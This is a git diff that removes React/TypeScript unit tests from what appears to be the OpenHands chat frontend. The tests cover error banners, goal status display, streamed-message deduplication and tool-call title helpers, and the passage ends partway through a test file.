- (useConfig as unknown as ReturnType).mockReturnValue({ - data: {}, - }); - ( - useUnifiedUploadFiles as unknown as ReturnType - ).mockReturnValue({ - mutateAsync: vi - .fn() - .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), - isLoading: false, - }); - useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] }); - }); - - function renderInterface() { - render( - - - - } /> - - - , - ); - } - - it("calls trackInitialQuerySubmitted when the first message is sent (empty conversation)", async () => { - renderInterface(); - - act(() => { - useConversationStore.setState({ submittedMessage: "my first task" }); - }); - - await waitFor(() => { - expect(trackInitialQuerySubmittedMock).toHaveBeenCalledWith( - expect.objectContaining({ - queryCharacterLength: "my first task".length, - }), - ); - }); - }); - - it("calls trackUserMessageSent when a follow-up message is sent (non-empty conversation)", async () => { - // totalEvents = uiEvents.filter(shouldRenderAgentServerEvent).length. - // A MessageEvent (has llm_message.role + content) passes that filter, - // so seeding uiEvents with one makes totalEvents = 1. - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [ - { - id: "e1", - source: "user", - llm_message: { role: "user", content: "prior message" }, - } as never, - ], - }); - - renderInterface(); - - act(() => { - useConversationStore.setState({ submittedMessage: "follow-up" }); - }); - - await waitFor(() => { - expect(trackUserMessageSentMock).toHaveBeenCalledWith( - expect.objectContaining({ - currentMessageLength: "follow-up".length, - }), - ); - }); - expect(trackInitialQuerySubmittedMock).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/chat/error-message-banner.test.tsx b/__tests__/components/chat/error-message-banner.test.tsx deleted file mode 100644 index 1535d793d..000000000 --- a/__tests__/components/chat/error-message-banner.test.tsx +++ /dev/null @@ -1,163 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { ErrorMessageBanner } from "#/components/features/chat/error-message-banner"; - -const toastMocks = vi.hoisted(() => ({ - displayErrorToast: vi.fn(), -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displayErrorToast: toastMocks.displayErrorToast, -})); - -describe("ErrorMessageBanner", () => { - afterEach(() => { - vi.restoreAllMocks(); - toastMocks.displayErrorToast.mockClear(); - }); - - it("calls onDismiss when the close button is clicked", async () => { - const user = userEvent.setup(); - const onDismiss = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("error-message-banner-dismiss")); - expect(onDismiss).toHaveBeenCalledTimes(1); - }); - - it("calls onRetry when the retry button is clicked", async () => { - const user = userEvent.setup(); - const onRetry = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("error-message-banner-retry")); - expect(onRetry).toHaveBeenCalledTimes(1); - }); - - it("shows a red error icon beside the message", () => { - render(); - - const icon = screen.getByTestId("error-message-banner-icon"); - expect(icon).toHaveStyle({ color: "var(--oh-status-error)" }); - }); - - it("uses greyscale theme tokens instead of red error styling", () => { - render(); - - const banner = screen.getByTestId("error-message-banner"); - expect(banner.className).toContain("border-[var(--oh-border)]"); - expect(banner.className).toContain("bg-[var(--oh-surface-raised)]"); - expect(banner.className).not.toContain("#FF0006"); - expect(banner.className).not.toContain("#4A0709"); - }); - - it("shows a View More / View Less toggle for long messages", async () => { - const user = userEvent.setup(); - const longMessage = "a".repeat(400); - - render(); - - const toggle = screen.getByTestId("error-message-banner-toggle"); - expect(toggle).toHaveTextContent("COMMON$VIEW_MORE"); - - await user.click(toggle); - expect(toggle).toHaveTextContent("COMMON$VIEW_LESS"); - }); - - it("copies the full error message when the copy button is clicked", async () => { - const user = userEvent.setup(); - const longMessage = `first line\n${"long error detail ".repeat(40)}`; - const writeText = vi.fn().mockResolvedValue(undefined); - vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText); - - render(); - - await user.click(screen.getByTestId("error-message-banner-copy")); - - expect(writeText).toHaveBeenCalledWith(longMessage); - await waitFor(() => - expect( - screen.getByTestId("error-message-banner-copy"), - ).toHaveAccessibleName("BUTTON$COPIED"), - ); - }); - - it("shows an error toast when the copy button cannot write to the clipboard", async () => { - const user = userEvent.setup(); - const writeText = vi.fn().mockRejectedValue(new Error("denied")); - vi.spyOn(navigator.clipboard, "writeText").mockImplementation(writeText); - - render(); - - await user.click(screen.getByTestId("error-message-banner-copy")); - - expect(writeText).toHaveBeenCalledWith("copy failed"); - expect(toastMocks.displayErrorToast).toHaveBeenCalledWith( - "CHAT_INTERFACE$CHAT_MESSAGE_COPY_FAILED", - ); - expect( - screen.getByTestId("error-message-banner-copy"), - ).toHaveAccessibleName("BUTTON$COPY"); - }); - - it("renders a code-specific header for a known ACP error code", () => { - render( - , - ); - - const header = screen.getByTestId("error-message-banner-header"); - expect(header).toHaveTextContent("ERROR$ACP_AUTH_REQUIRED_TITLE"); - // The detail is still shown verbatim below the header. - expect( - screen.getByTestId("error-message-banner-content"), - ).toHaveTextContent("invalid x-api-key"); - }); - - it("renders no header for an unknown or absent code", () => { - render(); - expect( - screen.queryByTestId("error-message-banner-header"), - ).not.toBeInTheDocument(); - }); - - it("shows a re-auth action and calls onReauth when provided", async () => { - const user = userEvent.setup(); - const onReauth = vi.fn(); - - render( - , - ); - - const reauth = screen.getByTestId("error-message-banner-reauth"); - expect(reauth).toHaveTextContent("ERROR$ACP_UPDATE_CREDENTIALS"); - await user.click(reauth); - expect(onReauth).toHaveBeenCalledTimes(1); - }); - - it("omits the re-auth action when onReauth is not provided", () => { - render(); - expect( - screen.queryByTestId("error-message-banner-reauth"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/chat/goal-status-banner.test.tsx b/__tests__/components/chat/goal-status-banner.test.tsx deleted file mode 100644 index 9c51cfd01..000000000 --- a/__tests__/components/chat/goal-status-banner.test.tsx +++ /dev/null @@ -1,54 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { beforeEach, describe, expect, it } from "vitest"; -import { GoalStatusBanner } from "#/components/features/chat/goal-status-banner"; -import { useGoalStore } from "#/stores/goal-store"; -import { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event"; - -const CONV = "conv-1"; - -const makeStatus = (overrides: Partial = {}): GoalStatus => ({ - active: true, - status: "running", - iteration: 1, - max_iterations: 10, - objective: "make pytest pass", - verdict: null, - ...overrides, -}); - -describe("", () => { - beforeEach(() => { - useGoalStore.setState({ statusByConversation: {} }); - }); - - it("renders nothing when there is no goal status", () => { - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); - - it("renders the live banner while the loop is active", () => { - useGoalStore.getState().setStatus(CONV, makeStatus()); - render(); - expect(screen.getByTestId("goal-status")).toBeInTheDocument(); - expect(screen.getByTestId("goal-spinner")).toBeInTheDocument(); - }); - - it("renders nothing once the loop ends (the terminal status renders inline)", () => { - useGoalStore.getState().setStatus( - CONV, - makeStatus({ - active: false, - status: "complete", - verdict: { score: 1, complete: true, missing: "" }, - }), - ); - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); - - it("does not render a status from another conversation", () => { - useGoalStore.getState().setStatus("other", makeStatus()); - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); -}); diff --git a/__tests__/components/chat/goal-status-content.test.tsx b/__tests__/components/chat/goal-status-content.test.tsx deleted file mode 100644 index 979f9b4be..000000000 --- a/__tests__/components/chat/goal-status-content.test.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { GoalStatusContent } from "#/components/features/chat/goal-status-content"; -import { I18nKey } from "#/i18n/declaration"; -import { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event"; - -const makeStatus = (overrides: Partial = {}): GoalStatus => ({ - active: true, - status: "running", - iteration: 1, - max_iterations: 10, - objective: "make pytest pass", - verdict: null, - ...overrides, -}); - -describe("", () => { - it("shows the objective and a spinner while running", () => { - render(); - expect(screen.getByText("make pytest pass")).toBeInTheDocument(); - expect(screen.getByTestId("goal-spinner")).toBeInTheDocument(); - expect(screen.queryByTestId("goal-done")).toBeNull(); - expect(screen.queryByTestId("goal-ended")).toBeNull(); - }); - - it("shows a green check when complete", () => { - render( - , - ); - expect(screen.getByTestId("goal-done")).toBeInTheDocument(); - expect(screen.queryByTestId("goal-spinner")).toBeNull(); - expect(screen.queryByTestId("goal-ended")).toBeNull(); - }); - - it("shows a muted cross, not a check, when it ends without completing", () => { - render( - , - ); - expect(screen.getByTestId("goal-ended")).toBeInTheDocument(); - expect(screen.queryByTestId("goal-done")).toBeNull(); - }); - - it("expands the judge's missing note for a terminal status", () => { - render( - , - ); - expect(screen.getByText(I18nKey.GOAL$MISSING)).toBeInTheDocument(); - }); - - it("keeps the missing note collapsed while running", () => { - render( - , - ); - expect(screen.queryByText(I18nKey.GOAL$MISSING)).toBeNull(); - }); -}); diff --git a/__tests__/components/chat/message-display-continuity.test.tsx b/__tests__/components/chat/message-display-continuity.test.tsx deleted file mode 100644 index cb6bb621d..000000000 --- a/__tests__/components/chat/message-display-continuity.test.tsx +++ /dev/null @@ -1,252 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { screen } from "@testing-library/react"; -import { QueryClient } from "@tanstack/react-query"; -import { MemoryRouter, Route, Routes } from "react-router"; -import { render } from "@testing-library/react"; -import { QueryClientProvider } from "@tanstack/react-query"; -import { useParamsMock, createUserMessageEvent } from "test-utils"; -import { ChatInterface } from "#/components/features/chat/chat-interface"; -import { - useConversationId, - useOptionalConversationId, -} from "#/hooks/use-conversation-id"; -import { useActiveConversation } from "#/hooks/query/use-active-conversation"; -import { useConversationWebSocket } from "#/contexts/conversation-websocket-context"; -import { useConfig } from "#/hooks/query/use-config"; -import { useUnifiedUploadFiles } from "#/hooks/mutation/use-unified-upload-files"; -import { useEventStore } from "#/stores/use-event-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; - -// Module-level mocks -vi.mock("#/hooks/query/use-config"); -vi.mock("#/hooks/mutation/use-unified-upload-files"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: vi.fn(), - useOptionalConversationId: vi.fn(), -})); -vi.mock("#/hooks/query/use-active-conversation"); -vi.mock("#/contexts/conversation-websocket-context"); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => ({ - providers: [], - }), -})); - -vi.mock("#/hooks/use-conversation-name-context-menu", () => ({ - useConversationNameContextMenu: () => ({ - isOpen: false, - contextMenuRef: { current: null }, - handleContextMenu: vi.fn(), - handleClose: vi.fn(), - handleRename: vi.fn(), - handleDelete: vi.fn(), - }), -})); - -vi.mock("#/hooks/use-agent-state", () => ({ - useAgentState: vi.fn(() => ({ - curAgentState: AgentState.AWAITING_USER_INPUT, - })), -})); - -vi.mock("#/components/features/chat/btw-messages", () => ({ - BtwMessages: () =>
, -})); - -vi.mock("#/components/features/chat/chat-suggestions", () => ({ - ChatSuggestions: () =>
, -})); - -vi.mock("#/components/features/chat/interactive-chat-box", () => ({ - InteractiveChatBox: () =>
, -})); - -vi.mock("#/components/shared/buttons/scroll-to-bottom-button", () => ({ - ScrollToBottomButton: () => , -})); - -vi.mock("#/components/conversation-events/chat", async (importOriginal) => ({ - ...(await importOriginal< - typeof import("#/components/conversation-events/chat") - >()), - Messages: () =>
, -})); - -// Helper to render with QueryClient and route params -const renderWithQueryClient = ( - ui: React.ReactElement, - queryClient: QueryClient, - route = "/test-conversation-id", -) => - render( - - - - - - - - , - ); - -describe("ChatInterface – message display continuity (spec 3.1)", () => { - let queryClient: QueryClient; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - - useParamsMock.mockReturnValue({ conversationId: "test-conversation-id" }); - vi.mocked(useConversationId).mockReturnValue({ - conversationId: "test-conversation-id", - }); - vi.mocked(useOptionalConversationId).mockReturnValue({ - conversationId: "test-conversation-id", - }); - - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - - (useConfig as unknown as ReturnType).mockReturnValue({ - data: { app_mode: "local" }, - }); - ( - useUnifiedUploadFiles as unknown as ReturnType - ).mockReturnValue({ - mutateAsync: vi - .fn() - .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), - isLoading: false, - }); - - // Default: no active conversation - vi.mocked(useActiveConversation).mockReturnValue({ - data: undefined, - } as ReturnType); - - // Default: no websocket context - vi.mocked(useConversationWebSocket).mockReturnValue(null); - }); - - describe("conversations", () => { - beforeEach(() => { - // Set up conversation - vi.mocked(useActiveConversation).mockReturnValue({ - data: {}, - } as ReturnType); - }); - - it("shows messages immediately when agent-server events exist in store, even while loading", () => { - // Simulate: history is loading but events already exist in store (e.g., remount) - vi.mocked(useConversationWebSocket).mockReturnValue({ - isLoadingHistory: true, - connectionState: "OPEN", - sendMessage: vi.fn(), - reconnect: vi.fn(), - }); - - // Put agent-server user events in the store - const userEvent = createUserMessageEvent("evt-1"); - useEventStore.setState({ - events: [userEvent], - eventIds: new Set(["evt-1"]), - uiEvents: [userEvent], - }); - - renderWithQueryClient(, queryClient); - - // AC1: Messages should display immediately without the full history - // skeleton, even if the lazy older-events pagination spinner appears. - expect( - screen.queryByTestId("chat-messages-skeleton"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("conversation-messages") ?? - screen.queryByTestId("user-message"), - ).not.toBeNull(); - }); - - it("shows skeleton when store is empty and loading", () => { - // Simulate: first load, no events yet - vi.mocked(useConversationWebSocket).mockReturnValue({ - isLoadingHistory: true, - connectionState: "OPEN", - sendMessage: vi.fn(), - reconnect: vi.fn(), - }); - - // Store is empty - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); - - renderWithQueryClient(, queryClient); - - // AC5: Genuine first-load shows skeleton - expect(screen.getByTestId("chat-messages-skeleton")).toBeInTheDocument(); - }); - - it("hides skeleton when a pending user message is visible during history load", () => { - vi.mocked(useConversationWebSocket).mockReturnValue({ - isLoadingHistory: true, - connectionState: "OPEN", - sendMessage: vi.fn(), - reconnect: vi.fn(), - }); - - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); - - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: "test-conversation-id", - text: "hello from home", - }); - - renderWithQueryClient(, queryClient); - - expect( - screen.queryByTestId("chat-messages-skeleton"), - ).not.toBeInTheDocument(); - expect(screen.getByTestId("user-message")).toHaveTextContent( - "hello from home", - ); - }); - - it("shows messages when loading is already false on mount (edge case)", () => { - // Simulate: component re-mounts when WebSocket has already finished loading - vi.mocked(useConversationWebSocket).mockReturnValue({ - isLoadingHistory: false, - connectionState: "OPEN", - sendMessage: vi.fn(), - reconnect: vi.fn(), - }); - - // agent-server events in store - const userEvent = createUserMessageEvent("evt-2"); - useEventStore.setState({ - events: [userEvent], - eventIds: new Set(["evt-1"]), - uiEvents: [userEvent], - }); - - renderWithQueryClient(, queryClient); - - // Messages should display without the full history skeleton. - expect( - screen.queryByTestId("chat-messages-skeleton"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("conversation-messages") ?? - screen.queryByTestId("user-message"), - ).not.toBeNull(); - }); - }); -}); diff --git a/__tests__/components/context-menu/context-menu-list-item.test.tsx b/__tests__/components/context-menu/context-menu-list-item.test.tsx deleted file mode 100644 index ffedba06e..000000000 --- a/__tests__/components/context-menu/context-menu-list-item.test.tsx +++ /dev/null @@ -1,44 +0,0 @@ -import { describe, it, expect, vi } from "vitest"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { ContextMenuListItem } from "#/components/features/context-menu/context-menu-list-item"; - -describe("ContextMenuListItem", () => { - it("should render the component with the children", () => { - const onClickMock = vi.fn(); - render( - Test, - ); - - expect(screen.getByTestId("context-menu-list-item")).toBeInTheDocument(); - expect(screen.getByText("Test")).toBeInTheDocument(); - }); - - it("should call the onClick callback when clicked", async () => { - const user = userEvent.setup(); - const onClickMock = vi.fn(); - render( - Test, - ); - - const element = screen.getByTestId("context-menu-list-item"); - await user.click(element); - - expect(onClickMock).toHaveBeenCalledOnce(); - }); - - it("should not call the onClick callback when clicked and the button is disabled", async () => { - const user = userEvent.setup(); - const onClickMock = vi.fn(); - render( - - Test - , - ); - - const element = screen.getByTestId("context-menu-list-item"); - await user.click(element); - - expect(onClickMock).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/context-menu/tools-context-menu.test.tsx b/__tests__/components/context-menu/tools-context-menu.test.tsx deleted file mode 100644 index c7e089c2f..000000000 --- a/__tests__/components/context-menu/tools-context-menu.test.tsx +++ /dev/null @@ -1,105 +0,0 @@ -import { describe, it, expect, vi } from "vitest"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import React from "react"; -import { adaptSystemMessage } from "#/utils/system-message-adapter"; -import { EventState } from "#/stores/use-event-store"; -import { SystemMessageModal } from "#/components/features/conversation-panel/system-message-modal"; -import { ToolsContextMenu } from "#/components/features/controls/tools-context-menu"; - -const v1Event: EventState["events"] = [ - { - id: "v1-id", - timestamp: "2025-12-30T12:00:00Z", - source: "agent", - system_prompt: { - type: "text", - text: "v1 prompt", - }, - tools: [ - { - type: "function", - function: { - name: "bash", - description: "Execute bash", - parameters: {}, - }, - }, - ], - }, -]; - -const adaptedResult = adaptSystemMessage(v1Event); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ data: { conversation_version: "V1" } }), -})); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => ({ providers: ["test"] }), -})); - -describe("SystemMessage UI Rendering", () => { - it("should render the 'Show Agent Tools' button in the context menu", () => { - render( - {}} - onShowSkills={() => {}} - onShowPlugins={() => {}} - onShowHooks={() => {}} - onShowAgentTools={() => {}} - />, - ); - - expect(screen.getByTestId("show-agent-tools-button")).toBeInTheDocument(); - }); - - it("should display the adapted v1 system prompt content correctly", () => { - render( - {}} - systemMessage={adaptedResult} - />, - ); - - const messageElement = screen.getByText("v1 prompt"); - - expect(messageElement).toBeDefined(); - expect(messageElement).toBeVisible(); - }); -}); - -describe("ToolsContextMenu - Show Plugins", () => { - it("renders the Show Plugins item and calls onShowPlugins when clicked", async () => { - const onShowPlugins = vi.fn(); - render( - {}} - onShowSkills={() => {}} - onShowPlugins={onShowPlugins} - onShowHooks={() => {}} - onShowAgentTools={() => {}} - shouldShowPlugins - />, - ); - - await userEvent.click(screen.getByTestId("show-plugins-button")); - - expect(onShowPlugins).toHaveBeenCalledTimes(1); - }); - - it("hides the Show Plugins item when the conversation has no attached plugins", () => { - render( - {}} - onShowSkills={() => {}} - onShowPlugins={() => {}} - onShowHooks={() => {}} - onShowAgentTools={() => {}} - />, - ); - - expect(screen.queryByTestId("show-plugins-button")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx b/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx deleted file mode 100644 index 173798378..000000000 --- a/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx +++ /dev/null @@ -1,285 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { fireEvent, screen } from "@testing-library/react"; -import { renderWithProviders } from "test-utils"; -import { - ActionEvent, - MessageEvent, - ObservationEvent, - OpenHandsEvent, - SecurityRisk, -} from "#/types/agent-server/core"; -import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event"; -import { handleEventForUI } from "#/utils/handle-event-for-ui"; -import { Messages } from "#/components/conversation-events/chat/messages"; - -// Regression for issue #1534. With stream=true the agent streams its -// pre-tool-call text as a StreamingDeltaEvent and then emits an intermediate -// ActionEvent whose `thought` is that same text. The chat hoists the action's -// thought into its own message, so the leftover streaming delta used to render -// the identical text a second time. This test drives the real reducer -// (handleEventForUI) and renders the real tree to assert the text -// shows exactly once. - -const THOUGHT = - "I'll create a webpage explaining what OpenHands can do. " + - "Let me first gather accurate information from the official documentation."; - -const countOccurrences = (haystack: string, needle: string): number => - haystack.split(needle).length - 1; - -const userMessage: MessageEvent = { - id: "user-1", - timestamp: "2026-06-12T12:00:00Z", - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "Create a basic webpage." }], - }, - activated_microagents: [], - extended_content: [], -}; - -// The reasoning streamed as a delta; many models carry reasoning ONLY here, so -// the collapsible "Thinking" must survive the reconciliation. -const streamingDelta: StreamingDeltaEvent = { - id: "delta-1", - kind: "StreamingDeltaEvent", - timestamp: "2026-06-12T12:00:01Z", - source: "agent", - content: THOUGHT, - reasoning_content: "Considering the request before acting.", -}; - -const action: ActionEvent = { - id: "action-1", - timestamp: "2026-06-12T12:00:02Z", - source: "agent", - thought: [{ type: "text", text: THOUGHT }], - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command: "ls", - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: "call_1", - tool_call: { - id: "call_1", - type: "function", - function: { name: "execute_bash", arguments: '{"command":"ls"}' }, - }, - llm_response_id: "resp-1", - security_risk: SecurityRisk.UNKNOWN, -}; - -const observation: ObservationEvent = { - id: "obs-1", - timestamp: "2026-06-12T12:00:03Z", - source: "environment", - tool_name: "execute_bash", - tool_call_id: "call_1", - observation: { - kind: "ExecuteBashObservation", - content: [{ type: "text", text: "file.txt\n" }], - command: "ls", - exit_code: 0, - error: false, - timeout: false, - metadata: { - exit_code: 0, - pid: 1, - username: "u", - hostname: "h", - working_dir: "/", - py_interpreter_path: null, - prefix: "", - suffix: "", - }, - }, - action_id: "action-1", -}; - -const reduce = (events: OpenHandsEvent[]): OpenHandsEvent[] => - events.reduce((ui, ev) => handleEventForUI(ev, ui), []); - -describe("issue #1534 — streamed intermediate message duplication", () => { - it("renders the intermediate thought text exactly once", () => { - const allEvents = [userMessage, streamingDelta, action, observation]; - const uiEvents = reduce(allEvents); - - const { container } = renderWithProviders( - , - ); - - expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1); - }); - - it("keeps the streamed reasoning visible (Thinking section survives)", () => { - const allEvents = [userMessage, streamingDelta, action, observation]; - const uiEvents = reduce(allEvents); - - renderWithProviders(); - - // The collapsible "Thinking" section is still rendered (collapsed by - // default); expanding it reveals the reasoning that was streamed on the - // delta, proving the reconciliation kept the reasoning. - fireEvent.click(screen.getByTestId("collapsible-thinking-toggle")); - expect( - screen.getByTestId("collapsible-thinking-content").textContent ?? "", - ).toContain("Considering the request before acting."); - }); - - it("renders a single Thinking section when the action carries its own reasoning", () => { - // When the finalized action also reports reasoning, the streamed delta's - // reasoning would duplicate the action's "Thinking" — so the delta is - // dropped and only one Thinking section renders. - const reasoningAction: ActionEvent = { - ...action, - reasoning_content: "Considering the request before acting.", - }; - const allEvents = [ - userMessage, - streamingDelta, - reasoningAction, - observation, - ]; - const uiEvents = reduce(allEvents); - - const { container } = renderWithProviders( - , - ); - - expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1); - expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1); - }); - - it("renders the canonical final message and its metadata exactly once", () => { - const finalMessage: MessageEvent = { - id: "agent-msg-1", - timestamp: "2026-06-12T12:00:02Z", - source: "agent", - llm_message: { - role: "assistant", - content: [{ type: "text", text: THOUGHT }], - }, - activated_microagents: [], - extended_content: [], - critic_result: { - score: 0.72, - message: null, - metadata: null, - }, - }; - const allEvents = [userMessage, streamingDelta, finalMessage]; - const uiEvents = reduce(allEvents); - - expect(uiEvents.at(-1)).toBe(finalMessage); - - const { container } = renderWithProviders( - , - ); - - expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1); - expect(screen.getByLabelText("Score: 72.0%")).toBeInTheDocument(); - fireEvent.click(screen.getByTestId("collapsible-thinking-toggle")); - expect( - screen.getByTestId("collapsible-thinking-content"), - ).toHaveTextContent("Considering the request before acting."); - }); - - it("renders once when streamed text has leading whitespace", () => { - const leadingWhitespaceDelta: StreamingDeltaEvent = { - ...streamingDelta, - content: `\n${THOUGHT}`, - }; - const finalMessage: MessageEvent = { - id: "agent-msg-leading-whitespace", - timestamp: "2026-06-12T12:00:02Z", - source: "agent", - llm_message: { - role: "assistant", - content: [{ type: "text", text: THOUGHT }], - }, - activated_microagents: [], - extended_content: [], - }; - const allEvents = [userMessage, leadingWhitespaceDelta, finalMessage]; - const uiEvents = reduce(allEvents); - - expect(uiEvents.at(-1)).toBe(finalMessage); - - const { container } = renderWithProviders( - , - ); - - expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1); - }); -}); - -// A model that streams its reasoning but whose action `thought` does not repeat -// that text used to render the delta's reasoning and the action's own reasoning -// as two identical "Thinking" bubbles. -describe("duplicate Thinking blocks", () => { - const REASONING = - "Let me read the full PRD to understand all the requirements. " + - "I need to see sections that were clipped."; - - const reasoningOnlyDelta: StreamingDeltaEvent = { - id: "delta-reasoning-only", - kind: "StreamingDeltaEvent", - timestamp: "2026-06-12T12:00:01Z", - source: "agent", - content: null, - reasoning_content: REASONING, - }; - - const reasoningAction: ActionEvent = { - ...action, - thought: [], - reasoning_content: REASONING, - }; - - it("renders the reasoning in a single Thinking section", () => { - const allEvents = [ - userMessage, - reasoningOnlyDelta, - reasoningAction, - observation, - ]; - const uiEvents = reduce(allEvents); - - const { container } = renderWithProviders( - , - ); - - expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1); - - fireEvent.click(screen.getByTestId("collapsible-thinking-toggle")); - expect( - screen.getByTestId("collapsible-thinking-content"), - ).toHaveTextContent(REASONING); - expect(countOccurrences(container.textContent ?? "", REASONING)).toBe(1); - }); - - it("keeps the streamed reasoning when the action carries none", () => { - const plainAction: ActionEvent = { ...action, thought: [] }; - const allEvents = [ - userMessage, - reasoningOnlyDelta, - plainAction, - observation, - ]; - const uiEvents = reduce(allEvents); - - renderWithProviders(); - - // The delta is the sole reasoning carrier, so its Thinking must survive. - expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1); - fireEvent.click(screen.getByTestId("collapsible-thinking-toggle")); - expect( - screen.getByTestId("collapsible-thinking-content"), - ).toHaveTextContent(REASONING); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts deleted file mode 100644 index 61bc6cb08..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts +++ /dev/null @@ -1,79 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - createSkillReadyEvent, - isSkillReadyEvent, -} from "#/components/conversation-events/chat/event-content-helpers/create-skill-ready-event"; -import { MessageEvent } from "#/types/agent-server/core"; - -const makeMessageEvent = ( - overrides: Partial = {}, -): MessageEvent => - ({ - id: "msg-1", - timestamp: "2024-01-01T00:00:00Z", - source: "user", - message: { role: "user", content: [{ type: "text", text: "test" }] }, - activated_microagents: [], - extended_content: [], - ...overrides, - }) as MessageEvent; - -describe("createSkillReadyEvent", () => { - it("includes _skillReadyItems with structured skill data", () => { - const event = makeMessageEvent({ - activated_microagents: ["docker"], - extended_content: [ - { type: "text", text: "Docker guide" }, - ], - }); - - const result = createSkillReadyEvent(event); - - expect(result._skillReadyItems).toEqual([ - { name: "docker", content: "Docker guide" }, - ]); - }); - - it("sets correct id and source", () => { - const event = makeMessageEvent({ - id: "msg-42", - activated_microagents: ["skill1"], - extended_content: [ - { type: "text", text: "content" }, - ], - }); - - const result = createSkillReadyEvent(event); - - expect(result.id).toBe("msg-42-skill-ready"); - expect(result.source).toBe("agent"); - expect(result._isSkillReadyEvent).toBe(true); - }); - - it("throws when no skills and no extended content", () => { - const event = makeMessageEvent(); - - expect(() => createSkillReadyEvent(event)).toThrow( - "Cannot create skill ready event", - ); - }); -}); - -describe("isSkillReadyEvent", () => { - it("returns true for valid SkillReadyEvent", () => { - const event = makeMessageEvent({ - activated_microagents: ["skill1"], - extended_content: [ - { type: "text", text: "content" }, - ], - }); - - expect(isSkillReadyEvent(createSkillReadyEvent(event))).toBe(true); - }); - - it("returns false for plain objects", () => { - expect(isSkillReadyEvent({})).toBe(false); - expect(isSkillReadyEvent(null)).toBe(false); - expect(isSkillReadyEvent({ _isSkillReadyEvent: false })).toBe(false); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts deleted file mode 100644 index b686f18fc..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts +++ /dev/null @@ -1,219 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { - getACPToolCallContent, - getACPToolCallTitleKey, - stripRedundantTitlePrefix, -} from "#/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content"; -import { getACPToolCallResult } from "#/components/conversation-events/chat/event-content-helpers/get-observation-result"; -import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event"; - -const baseEvent: ACPToolCallEvent = { - kind: "ACPToolCallEvent", - id: "evt-1", - timestamp: "2026-04-16T19:32:29.828069", - source: "agent", - tool_call_id: "toolu_123", - title: "gh pr diff 490 --repo OpenHands/evaluation", - tool_kind: "execute", - status: "completed", - raw_input: { command: "gh pr diff 490 --repo OpenHands/evaluation" }, - raw_output: "diff --git a/foo b/foo\n+added\n", - content: null, - is_error: false, -}; - -const makeEvent = (overrides: Partial): ACPToolCallEvent => ({ - ...baseEvent, - ...overrides, -}); - -describe("getACPToolCallTitleKey", () => { - it.each([ - ["execute", "ACTION_MESSAGE$ACP_RUN"], - ["edit", "ACTION_MESSAGE$ACP_EDIT"], - ["read", "ACTION_MESSAGE$ACP_READ"], - ["fetch", "ACTION_MESSAGE$ACP_FETCH"], - ["other", 